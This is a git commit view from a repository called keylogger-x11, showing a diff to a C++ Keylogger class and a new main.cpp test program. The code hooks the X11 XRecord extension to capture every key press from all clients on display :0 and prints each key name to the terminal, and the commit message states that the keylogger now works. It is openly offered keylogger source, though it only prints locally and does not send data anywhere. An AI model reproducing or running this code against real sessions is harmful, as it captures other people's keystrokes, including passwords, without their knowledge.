diff options
author | Vianney Bouchaud <vianney@bouchaud.org> | 2011-10-26 15:05:27 +0200 |
---|---|---|
committer | Vianney Bouchaud <vianney@bouchaud.org> | 2011-10-26 15:05:27 +0200 |
commit | 3fd99fe07f663d4b3c7aff72a81b9c7bce32e1b3 (patch) | |
tree | 8b685b768b29b393626d542fff9a8d5b24e38b20 /srcs | |
parent | 4e9e3f077123726d19b11784721790704f01c45d (diff) | |
download | keylogger-x11-3fd99fe07f663d4b3c7aff72a81b9c7bce32e1b3.tar.gz keylogger-x11-3fd99fe07f663d4b3c7aff72a81b9c7bce32e1b3.tar.xz |
Editing class Keylogger to provide a display on terminal, adding a main for test and a Makefile. Keylogger now works.
new file: Makefile
modified: includes/Keylogger.hpp
modified: srcs/Keylogger.cpp
new file: srcs/main.cpp
Diffstat (limited to 'srcs')
-rw-r--r-- | srcs/Keylogger.cpp | 23 | ||||
-rw-r--r-- | srcs/main.cpp | 26 |
2 files changed, 38 insertions, 11 deletions
diff --git a/srcs/Keylogger.cpp b/srcs/Keylogger.cpp index ae9356c..381660c 100644 --- a/srcs/Keylogger.cpp +++ b/srcs/Keylogger.cpp @@ -5,11 +5,12 @@ // Login <vianney@bouchaud.org> // // Started on Wed Oct 5 13:58:25 2011 Vianney Bouchaud -// Last update Thu Oct 6 19:03:44 2011 Vianney Bouchaud +// Last update Wed Oct 26 15:04:35 2011 Vianney Bouchaud // -#include <string> -#include "Keylogger.hpp" +#include <string> +#include <stdio.h> +#include "Keylogger.hpp" Keylogger::Keylogger() { @@ -23,29 +24,29 @@ Keylogger::~Keylogger() void Keylogger::start() { if (!XRecordEnableContextAsync(userData.dataDisplay, recContext, eventCallback, (XPointer) &userData)) - throw exception(); + throw std::exception(); } void Keylogger::stop() { if(!XRecordDisableContext(userData.ctrlDisplay, recContext)) - throw exception(); + throw std::exception(); } void Keylogger::setupRecordExtension() { XSynchronize(userData.ctrlDisplay, True); if (!XRecordQueryVersion(userData.ctrlDisplay, &recVer.first, &recVer.second)) - throw exception(); + throw std::exception(); recRange = XRecordAllocRange(); if (!recRange) - throw exception(); + throw std::exception(); recRange->device_events.first = KeyPress; recRange->device_events.last = KeyPress; recClientSpec = XRecordAllClients; recContext = XRecordCreateContext(userData.ctrlDisplay, 0, &recClientSpec, 1, &recRange, 1); if (!recContext) - throw exception(); + throw std::exception(); } void Keylogger::processData() @@ -53,7 +54,7 @@ void Keylogger::processData() XRecordProcessReplies(userData.dataDisplay); } -bool Keylogger::xConnect(string displayName) +bool Keylogger::xConnect(const std::string &displayName) { m_displayName = displayName; if (NULL == (userData.ctrlDisplay = XOpenDisplay(m_displayName.c_str()))) @@ -69,7 +70,7 @@ bool Keylogger::xConnect(string displayName) return (true); } -static void Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook) +void Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook) { if (hook->category != XRecordFromServer) { @@ -81,7 +82,7 @@ static void Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook if(data->event.u.u.type == KeyPress) { int c = data->event.u.u.detail; - std::cout << XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0)) std::endl; + printf("%s\n", XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0))); } XRecordFreeData(hook); } diff --git a/srcs/main.cpp b/srcs/main.cpp new file mode 100644 index 0000000..492c147 --- /dev/null +++ b/srcs/main.cpp @@ -0,0 +1,26 @@ +// +// main.cpp for keylogger testing in /home/vianney +// +// Made by Vianney Bouchaud +// Login <vianney@bouchaud.org> +// +// Started on Wed Oct 26 13:53:06 2011 Vianney Bouchaud +// Last update Wed Oct 26 15:00:57 2011 Vianney Bouchaud +// + +#include <string> +#include "Keylogger.hpp" + +int main(void) +{ + Keylogger K; + + if(K.xConnect(":0")) { + K.start(); + while (1) { + K.processData(); + usleep(1000000/3); + } + } + return 0; +} |